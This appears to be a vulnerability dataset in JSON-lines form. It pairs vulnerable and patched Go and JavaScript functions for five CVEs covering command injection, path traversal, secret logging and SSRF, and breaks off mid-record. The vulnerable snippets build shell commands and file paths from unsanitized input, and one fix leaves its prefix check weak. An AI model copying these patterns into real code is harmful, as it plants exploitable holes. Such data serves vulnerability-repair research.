{"cve_id": "CVE-2023-36458", "cve_description": "1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/1Panel-dev/1Panel", "patch_url": ["https://github.com/1Panel-dev/1Panel/commit/d2087641f790c56a6dc943eba0a317485656fc7c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_218_1", "commit": "321ed00", "file_path": "backend/app/api/v1/terminal.go", "start_line": 140, "end_line": 202, "snippet": "func (b *BaseApi) ContainerWsSsh(c *gin.Context) {\n\tcontainerID := c.Query(\"containerid\")\n\tcommand := c.Query(\"command\")\n\tuser := c.Query(\"user\")\n\tif len(command) == 0 || len(containerID) == 0 {\n\t\thelper.ErrorWithDetail(c, constant.CodeErrBadRequest, constant.ErrTypeInvalidParams, errors.New(\"error param of command or containerID\"))\n\t\treturn\n\t}\n\tcols, err := strconv.Atoi(c.DefaultQuery(\"cols\", \"80\"))\n\tif err != nil {\n\t\thelper.ErrorWithDetail(c, constant.CodeErrBadRequest, constant.ErrTypeInvalidParams, err)\n\t\treturn\n\t}\n\trows, err := strconv.Atoi(c.DefaultQuery(\"rows\", \"40\"))\n\tif err != nil {\n\t\thelper.ErrorWithDetail(c, constant.CodeErrBadRequest, constant.ErrTypeInvalidParams, err)\n\t\treturn\n\t}\n\n\twsConn, err := upGrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\tglobal.LOG.Errorf(\"gin context http handler failed, err: %v\", err)\n\t\treturn\n\t}\n\tdefer wsConn.Close()\n\n\tcmds := fmt.Sprintf(\"docker exec %s %s\", containerID, command)\n\tif len(user) != 0 {\n\t\tcmds = fmt.Sprintf(\"docker exec -u %s %s %s\", user, containerID, command)\n\t}\n\tstdout, err := cmd.Exec(cmds)\n\tif wshandleError(wsConn, errors.WithMessage(err, stdout)) {\n\t\treturn\n\t}\n\n\tcommands := fmt.Sprintf(\"docker exec -it %s %s\", containerID, command)\n\tif len(user) != 0 {\n\t\tcommands = fmt.Sprintf(\"docker exec -it -u %s %s %s\", user, containerID, command)\n\t}\n\tpidMap := loadMapFromDockerTop(containerID)\n\tslave, err := terminal.NewCommand(commands)\n\tif wshandleError(wsConn, err) {\n\t\treturn\n\t}\n\tdefer killBash(containerID, command, pidMap)\n\tdefer slave.Close()\n\n\ttty, err := terminal.NewLocalWsSession(cols, rows, wsConn, slave)\n\tif wshandleError(wsConn, err) {\n\t\treturn\n\t}\n\n\tquitChan := make(chan bool, 3)\n\ttty.Start(quitChan)\n\tgo slave.Wait(quitChan)\n\n\t<-quitChan\n\n\tglobal.LOG.Info(\"websocket finished\")\n\tif wshandleError(wsConn, err) {\n\t\treturn\n\t}\n}"}, {"id": "vul_go_218_2", "commit": "321ed00", "file_path": "backend/utils/terminal/local_cmd.go", "start_line": 28, "end_line": 42, "snippet": "func NewCommand(commands string) (*LocalCommand, error) {\n\tcmd := exec.Command(\"sh\", \"-c\", commands)\n\n\tpty, err := pty.Start(cmd)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to start command\")\n\t}\n\n\tlcmd := &LocalCommand{\n\t\tcloseSignal:  DefaultCloseSignal,\n\t\tcloseTimeout: DefaultCloseTimeout,\n\n\t\tcmd: cmd,\n\t\tpty: pty,\n\t}"}], "fix_func": [{"id": "fix_go_218_1", "commit": "d2087641f790c56a6dc943eba0a317485656fc7c", "file_path": "backend/app/api/v1/terminal.go", "start_line": 140, "end_line": 202, "snippet": "func (b *BaseApi) ContainerWsSsh(c *gin.Context) {\n\tcontainerID := c.Query(\"containerid\")\n\tcommand := c.Query(\"command\")\n\tuser := c.Query(\"user\")\n\tif len(command) == 0 || len(containerID) == 0 {\n\t\thelper.ErrorWithDetail(c, constant.CodeErrBadRequest, constant.ErrTypeInvalidParams, errors.New(\"error param of command or containerID\"))\n\t\treturn\n\t}\n\tcols, err := strconv.Atoi(c.DefaultQuery(\"cols\", \"80\"))\n\tif err != nil {\n\t\thelper.ErrorWithDetail(c, constant.CodeErrBadRequest, constant.ErrTypeInvalidParams, err)\n\t\treturn\n\t}\n\trows, err := strconv.Atoi(c.DefaultQuery(\"rows\", \"40\"))\n\tif err != nil {\n\t\thelper.ErrorWithDetail(c, constant.CodeErrBadRequest, constant.ErrTypeInvalidParams, err)\n\t\treturn\n\t}\n\n\twsConn, err := upGrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\tglobal.LOG.Errorf(\"gin context http handler failed, err: %v\", err)\n\t\treturn\n\t}\n\tdefer wsConn.Close()\n\n\tcmds := []string{\"exec\", containerID, command}\n\tif len(user) != 0 {\n\t\tcmds = []string{\"exec\", \"-u\", user, containerID, command}\n\t}\n\tstdout, err := cmd.ExecWithCheck(\"docker\", cmds...)\n\tif wshandleError(wsConn, errors.WithMessage(err, stdout)) {\n\t\treturn\n\t}\n\n\tcommands := fmt.Sprintf(\"docker exec -it %s %s\", containerID, command)\n\tif len(user) != 0 {\n\t\tcommands = fmt.Sprintf(\"docker exec -it -u %s %s %s\", user, containerID, command)\n\t}\n\tpidMap := loadMapFromDockerTop(containerID)\n\tslave, err := terminal.NewCommand(commands)\n\tif wshandleError(wsConn, err) {\n\t\treturn\n\t}\n\tdefer killBash(containerID, command, pidMap)\n\tdefer slave.Close()\n\n\ttty, err := terminal.NewLocalWsSession(cols, rows, wsConn, slave)\n\tif wshandleError(wsConn, err) {\n\t\treturn\n\t}\n\n\tquitChan := make(chan bool, 3)\n\ttty.Start(quitChan)\n\tgo slave.Wait(quitChan)\n\n\t<-quitChan\n\n\tglobal.LOG.Info(\"websocket finished\")\n\tif wshandleError(wsConn, err) {\n\t\treturn\n\t}\n}"}, {"id": "fix_go_218_2", "commit": "d2087641f790c56a6dc943eba0a317485656fc7c", "file_path": "backend/utils/terminal/local_cmd.go", "start_line": 29, "end_line": 46, "snippet": "func NewCommand(commands string) (*LocalCommand, error) {\n\tif cmd.CheckIllegal(commands) {\n\t\treturn nil, errors.New(\"There are invalid characters in the command you're executing.\")\n\t}\n\tcmd := exec.Command(\"sh\", \"-c\", commands)\n\n\tpty, err := pty.Start(cmd)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to start command\")\n\t}\n\n\tlcmd := &LocalCommand{\n\t\tcloseSignal:  DefaultCloseSignal,\n\t\tcloseTimeout: DefaultCloseTimeout,\n\n\t\tcmd: cmd,\n\t\tpty: pty,\n\t}"}], "vul_patch": "--- a/backend/app/api/v1/terminal.go\n+++ b/backend/app/api/v1/terminal.go\n@@ -24,11 +24,11 @@\n \t}\n \tdefer wsConn.Close()\n \n-\tcmds := fmt.Sprintf(\"docker exec %s %s\", containerID, command)\n+\tcmds := []string{\"exec\", containerID, command}\n \tif len(user) != 0 {\n-\t\tcmds = fmt.Sprintf(\"docker exec -u %s %s %s\", user, containerID, command)\n+\t\tcmds = []string{\"exec\", \"-u\", user, containerID, command}\n \t}\n-\tstdout, err := cmd.Exec(cmds)\n+\tstdout, err := cmd.ExecWithCheck(\"docker\", cmds...)\n \tif wshandleError(wsConn, errors.WithMessage(err, stdout)) {\n \t\treturn\n \t}\n\n--- a/backend/utils/terminal/local_cmd.go\n+++ b/backend/utils/terminal/local_cmd.go\n@@ -1,4 +1,7 @@\n func NewCommand(commands string) (*LocalCommand, error) {\n+\tif cmd.CheckIllegal(commands) {\n+\t\treturn nil, errors.New(\"There are invalid characters in the command you're executing.\")\n+\t}\n \tcmd := exec.Command(\"sh\", \"-c\", commands)\n \n \tpty, err := pty.Start(cmd)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10024", "cve_description": "A vulnerability classified as critical was found in hoffie larasync. This vulnerability affects unknown code of the file repository/content/file_storage.go. The manipulation leads to path traversal. The name of the patch is 776bad422f4bd4930d09491711246bbeb1be9ba5. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217612.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/hoffie/larasync", "patch_url": ["https://github.com/hoffie/larasync/commit/776bad422f4bd4930d09491711246bbeb1be9ba5"], "programing_language": "Go", "vul_func": [{"id": "vul_go_276_1", "commit": "0ee09bc91e02874a8c0d413127dbddaf7b90cb83", "file_path": "repository/content/file_storage.go", "start_line": 42, "end_line": 44, "snippet": "func (f *FileStorage) storagePathFor(contentID string) string {\n\treturn path.Join(f.path, contentID)\n}"}, {"id": "vul_go_276_2", "commit": "0ee09bc91e02874a8c0d413127dbddaf7b90cb83", "file_path": "repository/content/file_storage.go", "start_line": 49, "end_line": 54, "snippet": "func (f *FileStorage) Get(contentID string) (io.ReadCloser, error) {\n\tif f.Exists(contentID) {\n\t\treturn os.Open(f.storagePathFor(contentID))\n\t}\n\treturn nil, os.ErrNotExist\n}"}, {"id": "vul_go_276_3", "commit": "0ee09bc91e02874a8c0d413127dbddaf7b90cb83", "file_path": "repository/content/file_storage.go", "start_line": 57, "end_line": 78, "snippet": "func (f *FileStorage) Set(contentID string, reader io.Reader) error {\n\tblobStoragePath := f.storagePathFor(contentID)\n\n\twriter, err := atomic.NewStandardWriter(blobStoragePath, defaultFilePerms)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(writer, reader)\n\tif err != nil {\n\t\twriter.Abort()\n\t\twriter.Close()\n\t\treturn err\n\t}\n\n\terr = writer.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_276_4", "commit": "0ee09bc91e02874a8c0d413127dbddaf7b90cb83", "file_path": "repository/content/file_storage.go", "start_line": 81, "end_line": 87, "snippet": "func (f *FileStorage) Exists(contentID string) bool {\n\t_, err := os.Stat(f.storagePathFor(contentID))\n\tif err != nil {\n\t\treturn !os.IsNotExist(err)\n\t}\n\treturn true\n}"}, {"id": "vul_go_276_5", "commit": "0ee09bc91e02874a8c0d413127dbddaf7b90cb83", "file_path": "repository/content/file_storage.go", "start_line": 90, "end_line": 92, "snippet": "func (f *FileStorage) Delete(contentID string) error {\n\treturn os.Remove(f.storagePathFor(contentID))\n}"}], "fix_func": [{"id": "fix_go_276_1", "commit": "776bad422f4bd4930d09491711246bbeb1be9ba5", "file_path": "repository/content/file_storage.go", "start_line": 49, "end_line": 60, "snippet": "func (f *FileStorage) storagePathFor(contentID string) (string, error) {\n\tp := path.Join(f.path, contentID)\n\tp = filepath.Clean(p)\n\troot := f.path\n\t/*if len(root) > 1 && root[len(root)-1] != filepath.Separator {\n\t\troot += filepath.Separator\n\t}*/\n\tif !strings.HasPrefix(p, root) {\n\t\treturn \"\", ErrInvalidPath\n\t}\n\treturn p, nil\n}"}, {"id": "fix_go_276_2", "commit": "776bad422f4bd4930d09491711246bbeb1be9ba5", "file_path": "repository/content/file_storage.go", "start_line": 65, "end_line": 75, "snippet": "func (f *FileStorage) Get(contentID string) (io.ReadCloser, error) {\n\tif !f.Exists(contentID) {\n\t\treturn nil, os.ErrNotExist\n\t}\n\t// FIXME TOCTU race\n\tp, err := f.storagePathFor(contentID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn os.Open(p)\n}"}, {"id": "fix_go_276_3", "commit": "776bad422f4bd4930d09491711246bbeb1be9ba5", "file_path": "repository/content/file_storage.go", "start_line": 78, "end_line": 102, "snippet": "func (f *FileStorage) Set(contentID string, reader io.Reader) error {\n\tblobStoragePath, err := f.storagePathFor(contentID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\twriter, err := atomic.NewStandardWriter(blobStoragePath, defaultFilePerms)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(writer, reader)\n\tif err != nil {\n\t\twriter.Abort()\n\t\twriter.Close()\n\t\treturn err\n\t}\n\n\terr = writer.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_276_4", "commit": "776bad422f4bd4930d09491711246bbeb1be9ba5", "file_path": "repository/content/file_storage.go", "start_line": 105, "end_line": 116, "snippet": "func (f *FileStorage) Exists(contentID string) bool {\n\tp, err := f.storagePathFor(contentID)\n\tif err != nil {\n\t\t// FIXME maybe return error instead?\n\t\treturn false\n\t}\n\t_, err = os.Stat(p)\n\tif err != nil {\n\t\treturn !os.IsNotExist(err)\n\t}\n\treturn true\n}"}, {"id": "fix_go_276_5", "commit": "776bad422f4bd4930d09491711246bbeb1be9ba5", "file_path": "repository/content/file_storage.go", "start_line": 119, "end_line": 125, "snippet": "func (f *FileStorage) Delete(contentID string) error {\n\tp, err := f.storagePathFor(contentID)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn os.Remove(p)\n}"}], "vul_patch": "--- a/repository/content/file_storage.go\n+++ b/repository/content/file_storage.go\n@@ -1,3 +1,12 @@\n-func (f *FileStorage) storagePathFor(contentID string) string {\n-\treturn path.Join(f.path, contentID)\n+func (f *FileStorage) storagePathFor(contentID string) (string, error) {\n+\tp := path.Join(f.path, contentID)\n+\tp = filepath.Clean(p)\n+\troot := f.path\n+\t/*if len(root) > 1 && root[len(root)-1] != filepath.Separator {\n+\t\troot += filepath.Separator\n+\t}*/\n+\tif !strings.HasPrefix(p, root) {\n+\t\treturn \"\", ErrInvalidPath\n+\t}\n+\treturn p, nil\n }\n\n--- a/repository/content/file_storage.go\n+++ b/repository/content/file_storage.go\n@@ -1,6 +1,11 @@\n func (f *FileStorage) Get(contentID string) (io.ReadCloser, error) {\n-\tif f.Exists(contentID) {\n-\t\treturn os.Open(f.storagePathFor(contentID))\n+\tif !f.Exists(contentID) {\n+\t\treturn nil, os.ErrNotExist\n \t}\n-\treturn nil, os.ErrNotExist\n+\t// FIXME TOCTU race\n+\tp, err := f.storagePathFor(contentID)\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\treturn os.Open(p)\n }\n\n--- a/repository/content/file_storage.go\n+++ b/repository/content/file_storage.go\n@@ -1,5 +1,8 @@\n func (f *FileStorage) Set(contentID string, reader io.Reader) error {\n-\tblobStoragePath := f.storagePathFor(contentID)\n+\tblobStoragePath, err := f.storagePathFor(contentID)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n \n \twriter, err := atomic.NewStandardWriter(blobStoragePath, defaultFilePerms)\n \tif err != nil {\n\n--- a/repository/content/file_storage.go\n+++ b/repository/content/file_storage.go\n@@ -1,5 +1,10 @@\n func (f *FileStorage) Exists(contentID string) bool {\n-\t_, err := os.Stat(f.storagePathFor(contentID))\n+\tp, err := f.storagePathFor(contentID)\n+\tif err != nil {\n+\t\t// FIXME maybe return error instead?\n+\t\treturn false\n+\t}\n+\t_, err = os.Stat(p)\n \tif err != nil {\n \t\treturn !os.IsNotExist(err)\n \t}\n\n--- a/repository/content/file_storage.go\n+++ b/repository/content/file_storage.go\n@@ -1,3 +1,7 @@\n func (f *FileStorage) Delete(contentID string) error {\n-\treturn os.Remove(f.storagePathFor(contentID))\n+\tp, err := f.storagePathFor(contentID)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n+\treturn os.Remove(p)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40582", "cve_description": "find-exec is a utility to discover available shell commands. Versions prior to 1.0.3 did not properly escape user input and are vulnerable to Command Injection via an attacker controlled parameter. As a result, attackers may run malicious shell commands in the context of the running process. This issue has been addressed in version 1.0.3. users are advised to upgrade. Users unable to upgrade should ensure that all input passed to find-exec comes from a trusted source.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/shime/find-exec", "patch_url": ["https://github.com/shime/find-exec/commit/74fb108097c229b03d6dba4cce81e36aa364b51c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_180_1", "commit": "934ae93", "file_path": "index.js", "start_line": 18, "end_line": 26, "snippet": "function isExec(command){\n  try{\n    exec(command, { stdio: 'ignore' })\n    return true\n  }\n  catch (_e){\n    return false\n  }\n}"}], "fix_func": [{"id": "fix_js_180_1", "commit": "74fb108", "file_path": "index.js", "start_line": 19, "end_line": 27, "snippet": "function isExec(command){\n  try{\n    exec(quote(command.split(\" \")), { stdio: 'ignore' })\n    return true\n  }\n  catch (_e){\n    return false\n  }\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,6 +1,6 @@\n function isExec(command){\n   try{\n-    exec(command, { stdio: 'ignore' })\n+    exec(quote(command.split(\" \")), { stdio: 'ignore' })\n     return true\n   }\n   catch (_e){\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24875", "cve_description": "The CVEProject/cve-services is an open source project used to operate the CVE services api. In versions up to and including 1.1.1 the `org.conroller.js` code would erroneously log user secrets. This has been resolved in commit `46d98f2b` and should be available in subsequent versions of the software. Users of the software are advised to manually apply the `46d98f2b` commit or to update when a new version becomes available. As a workaround users should inspect their logs and remove logged secrets as appropriate.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/CVEProject/cve-services", "patch_url": ["https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_95_1", "commit": "d251b19", "file_path": "src/controller/org.controller/org.controller.js", "start_line": "370", "end_line": "463", "snippet": "async function createUser (req, res, next) {\n  try {\n    const orgShortName = req.ctx.params.shortname\n    const requesterUsername = req.ctx.user\n    const requesterShortName = req.ctx.org\n    const orgRepo = req.ctx.repositories.getOrgRepository()\n    const userRepo = req.ctx.repositories.getUserRepository()\n    const newUser = new User()\n\n    const orgUUID = await orgRepo.getOrgUUID(orgShortName)\n    if (!orgUUID) { // the org can only be non-existent if the requestor is the Secretariat\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be created because ' + orgShortName + ' organization does not exist.' })\n      return res.status(404).json(error.orgDneParam(orgShortName))\n    }\n\n    Object.keys(req.ctx.body).forEach(k => {\n      const key = k.toLowerCase()\n\n      if (key === 'username') {\n        newUser.username = req.ctx.body.username\n      } else if (key === 'authority') {\n        if (req.ctx.body.authority.active_roles) {\n          newUser.authority.active_roles = req.ctx.body.authority.active_roles\n        }\n      } else if (key === 'name') {\n        if (req.ctx.body.name.first) {\n          newUser.name.first = req.ctx.body.name.first\n        }\n        if (req.ctx.body.name.last) {\n          newUser.name.last = req.ctx.body.name.last\n        }\n        if (req.ctx.body.name.middle) {\n          newUser.name.middle = req.ctx.body.name.middle\n        }\n        if (req.ctx.body.name.suffix) {\n          newUser.name.suffix = req.ctx.body.name.suffix\n        }\n      } else if (key === 'org_uuid') {\n        return res.status(400).json(error.uuidProvided())\n      } else if (key === 'uuid') {\n        return res.status(400).json(error.uuidProvided())\n      }\n    })\n\n    const requesterOrgUUID = await orgRepo.getOrgUUID(requesterShortName)\n    const isSecretariat = await orgRepo.isSecretariatUUID(requesterOrgUUID)\n    const isAdmin = await userRepo.isAdminUUID(requesterUsername, requesterOrgUUID)\n    // check if user is only an Admin (not Secretatiat) and the user does not belong to the same organization as the new user\n    if (!isSecretariat && isAdmin) {\n      if (requesterOrgUUID !== orgUUID) {\n        return res.status(403).json(error.notOrgAdminOrSecretariat()) // The Admin user must belong to the new user's organization\n      }\n    }\n\n    newUser.org_UUID = orgUUID\n    newUser.UUID = uuid.v4()\n    newUser.active = true\n    const randomKey = cryptoRandomString({ length: CONSTANTS.CRYPTO_RANDOM_STRING_LENGTH })\n    newUser.secret = await argon2.hash(randomKey)\n\n    let result = await userRepo.findOneByUserNameAndOrgUUID(newUser.username, newUser.org_UUID) // Find user in MongoDB\n    if (result) {\n      logger.info({ uuid: req.ctx.uuid, message: newUser.username + ' was not created because it already exists.' })\n      return res.status(400).json(error.userExists(newUser.username))\n    }\n\n    // Parsing all user name fields\n    newUser.name = parseUserName(newUser)\n\n    await userRepo.updateByUserNameAndOrgUUID(newUser.username, newUser.org_UUID, newUser, { upsert: true }) // Create user in MongoDB if it doesn't exist\n    const agt = setAggregateUserObj({ username: newUser.username, org_UUID: newUser.org_UUID })\n    result = await userRepo.aggregate(agt)\n    result = result.length > 0 ? result[0] : null\n\n    result.secret = randomKey\n    const responseMessage = {\n      message: result.username + ' was successfully created.',\n      created: result\n    }\n\n    const payload = {\n      action: 'create_user',\n      change: result.username + ' was successfully created.',\n      req_UUID: req.ctx.uuid,\n      org_UUID: await orgRepo.getOrgUUID(req.ctx.org),\n      user: result\n    }\n    payload.user_UUID = await userRepo.getUserUUID(req.ctx.user, payload.org_UUID)\n    logger.info(JSON.stringify(payload))\n    return res.status(200).json(responseMessage)\n  } catch (err) {\n    next(err)\n  }\n}"}], "fix_func": [{"id": "fix_js_95_1", "commit": "46d98f2", "file_path": "src/controller/org.controller/org.controller.js", "start_line": "370", "end_line": "464", "snippet": "async function createUser (req, res, next) {\n  try {\n    const orgShortName = req.ctx.params.shortname\n    const requesterUsername = req.ctx.user\n    const requesterShortName = req.ctx.org\n    const orgRepo = req.ctx.repositories.getOrgRepository()\n    const userRepo = req.ctx.repositories.getUserRepository()\n    const newUser = new User()\n\n    const orgUUID = await orgRepo.getOrgUUID(orgShortName)\n    if (!orgUUID) { // the org can only be non-existent if the requestor is the Secretariat\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be created because ' + orgShortName + ' organization does not exist.' })\n      return res.status(404).json(error.orgDneParam(orgShortName))\n    }\n\n    Object.keys(req.ctx.body).forEach(k => {\n      const key = k.toLowerCase()\n\n      if (key === 'username') {\n        newUser.username = req.ctx.body.username\n      } else if (key === 'authority') {\n        if (req.ctx.body.authority.active_roles) {\n          newUser.authority.active_roles = req.ctx.body.authority.active_roles\n        }\n      } else if (key === 'name') {\n        if (req.ctx.body.name.first) {\n          newUser.name.first = req.ctx.body.name.first\n        }\n        if (req.ctx.body.name.last) {\n          newUser.name.last = req.ctx.body.name.last\n        }\n        if (req.ctx.body.name.middle) {\n          newUser.name.middle = req.ctx.body.name.middle\n        }\n        if (req.ctx.body.name.suffix) {\n          newUser.name.suffix = req.ctx.body.name.suffix\n        }\n      } else if (key === 'org_uuid') {\n        return res.status(400).json(error.uuidProvided())\n      } else if (key === 'uuid') {\n        return res.status(400).json(error.uuidProvided())\n      }\n    })\n\n    const requesterOrgUUID = await orgRepo.getOrgUUID(requesterShortName)\n    const isSecretariat = await orgRepo.isSecretariatUUID(requesterOrgUUID)\n    const isAdmin = await userRepo.isAdminUUID(requesterUsername, requesterOrgUUID)\n    // check if user is only an Admin (not Secretatiat) and the user does not belong to the same organization as the new user\n    if (!isSecretariat && isAdmin) {\n      if (requesterOrgUUID !== orgUUID) {\n        return res.status(403).json(error.notOrgAdminOrSecretariat()) // The Admin user must belong to the new user's organization\n      }\n    }\n\n    newUser.org_UUID = orgUUID\n    newUser.UUID = uuid.v4()\n    newUser.active = true\n    const randomKey = cryptoRandomString({ length: CONSTANTS.CRYPTO_RANDOM_STRING_LENGTH })\n    newUser.secret = await argon2.hash(randomKey)\n\n    let result = await userRepo.findOneByUserNameAndOrgUUID(newUser.username, newUser.org_UUID) // Find user in MongoDB\n    if (result) {\n      logger.info({ uuid: req.ctx.uuid, message: newUser.username + ' was not created because it already exists.' })\n      return res.status(400).json(error.userExists(newUser.username))\n    }\n\n    // Parsing all user name fields\n    newUser.name = parseUserName(newUser)\n\n    await userRepo.updateByUserNameAndOrgUUID(newUser.username, newUser.org_UUID, newUser, { upsert: true }) // Create user in MongoDB if it doesn't exist\n    const agt = setAggregateUserObj({ username: newUser.username, org_UUID: newUser.org_UUID })\n    result = await userRepo.aggregate(agt)\n    result = result.length > 0 ? result[0] : null\n\n    const payload = {\n      action: 'create_user',\n      change: result.username + ' was successfully created.',\n      req_UUID: req.ctx.uuid,\n      org_UUID: await orgRepo.getOrgUUID(req.ctx.org),\n      user: result\n    }\n    payload.user_UUID = await userRepo.getUserUUID(req.ctx.user, payload.org_UUID)\n    logger.info(JSON.stringify(payload))\n\n    result.secret = randomKey\n    const responseMessage = {\n      message: result.username + ' was successfully created.',\n      created: result\n    }\n\n    return res.status(200).json(responseMessage)\n  } catch (err) {\n    next(err)\n  }\n}"}], "vul_patch": "--- a/src/controller/org.controller/org.controller.js\n+++ b/src/controller/org.controller/org.controller.js\n@@ -72,12 +72,6 @@\n     result = await userRepo.aggregate(agt)\n     result = result.length > 0 ? result[0] : null\n \n-    result.secret = randomKey\n-    const responseMessage = {\n-      message: result.username + ' was successfully created.',\n-      created: result\n-    }\n-\n     const payload = {\n       action: 'create_user',\n       change: result.username + ' was successfully created.',\n@@ -87,6 +81,13 @@\n     }\n     payload.user_UUID = await userRepo.getUserUUID(req.ctx.user, payload.org_UUID)\n     logger.info(JSON.stringify(payload))\n+\n+    result.secret = randomKey\n+    const responseMessage = {\n+      message: result.username + ' was successfully created.',\n+      created: result\n+    }\n+\n     return res.status(200).json(responseMessage)\n   } catch (err) {\n     next(err)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28155", "cve_description": "The Request package through 2.88.1 for Node.js allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/cypress-io/request", "patch_url": ["https://github.com/cypress-io/request/commit/c5bcf21d40fb61feaff21a0e5a2b3934a440024f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_32_1", "commit": "0664780", "file_path": "lib/redirect.js", "start_line": 86, "end_line": 155, "snippet": "  function processRedirect (shouldRedirect) {\n    if (!shouldRedirect) return callback(null, false)\n    if (typeof shouldRedirect === 'string') {\n      // overridden redirect url\n      request.debug('redirect overridden', redirectTo)\n      redirectTo = shouldRedirect\n    }\n\n    request.debug('redirect to', redirectTo)\n\n    // ignore any potential response body.  it cannot possibly be useful\n    // to us at this point.\n    // response.resume should be defined, but check anyway before calling. Workaround for browserify.\n    if (response.resume) {\n      response.resume()\n    }\n\n    if (self.redirectsFollowed >= self.maxRedirects) {\n      return callback(new Error('Exceeded maxRedirects. Probably stuck in a redirect loop ' + request.uri.href))\n    }\n    self.redirectsFollowed += 1\n\n    if (!isUrl.test(redirectTo)) {\n      redirectTo = url.resolve(request.uri.href, redirectTo)\n    }\n\n    var uriPrev = request.uri\n    request.uri = url.parse(redirectTo)\n\n    // handle the case where we change protocol from https to http or vice versa\n    if (request.uri.protocol !== uriPrev.protocol) {\n      delete request.agent\n    }\n\n    self.redirects.push({ statusCode: response.statusCode, redirectUri: redirectTo })\n\n    if (self.followAllRedirects && request.method !== 'HEAD' &&\n      response.statusCode !== 401 && response.statusCode !== 307) {\n      request.method = self.followOriginalHttpMethod ? request.method : 'GET'\n    }\n    // request.method = 'GET' // Force all redirects to use GET || commented out fixes #215\n    delete request.src\n    delete request.req\n    delete request._started\n    if (response.statusCode !== 401 && response.statusCode !== 307) {\n      // Remove parameters from the previous response, unless this is the second request\n      // for a server that requires digest authentication.\n      delete request.body\n      delete request._form\n      if (request.headers) {\n        request.removeHeader('host')\n        request.removeHeader('content-type')\n        request.removeHeader('content-length')\n        if (request.uri.hostname !== request.originalHost.split(':')[0]) {\n          // Remove authorization if changing hostnames (but not if just\n          // changing ports or protocols).  This matches the behavior of curl:\n          // https://github.com/bagder/curl/blob/6beb0eee/lib/http.c#L710\n          request.removeHeader('authorization')\n        }\n      }\n    }\n\n    if (!self.removeRefererHeader) {\n      request.setHeader('referer', uriPrev.href)\n    }\n\n    request.emit('redirect')\n    request.init()\n    callback(null, true)\n  }"}], "fix_func": [{"id": "fix_js_32_1", "commit": "c5bcf21", "file_path": "lib/redirect.js", "start_line": 90, "end_line": 159, "snippet": "  function processRedirect (shouldRedirect) {\n    if (!shouldRedirect) return callback(null, false)\n    if (typeof shouldRedirect === 'string') {\n      // overridden redirect url\n      request.debug('redirect overridden', redirectTo)\n      redirectTo = shouldRedirect\n    }\n\n    request.debug('redirect to', redirectTo)\n\n    // ignore any potential response body.  it cannot possibly be useful\n    // to us at this point.\n    // response.resume should be defined, but check anyway before calling. Workaround for browserify.\n    if (response.resume) {\n      response.resume()\n    }\n\n    if (self.redirectsFollowed >= self.maxRedirects) {\n      return callback(new Error('Exceeded maxRedirects. Probably stuck in a redirect loop ' + request.uri.href))\n    }\n    self.redirectsFollowed += 1\n\n    if (!isUrl.test(redirectTo)) {\n      redirectTo = 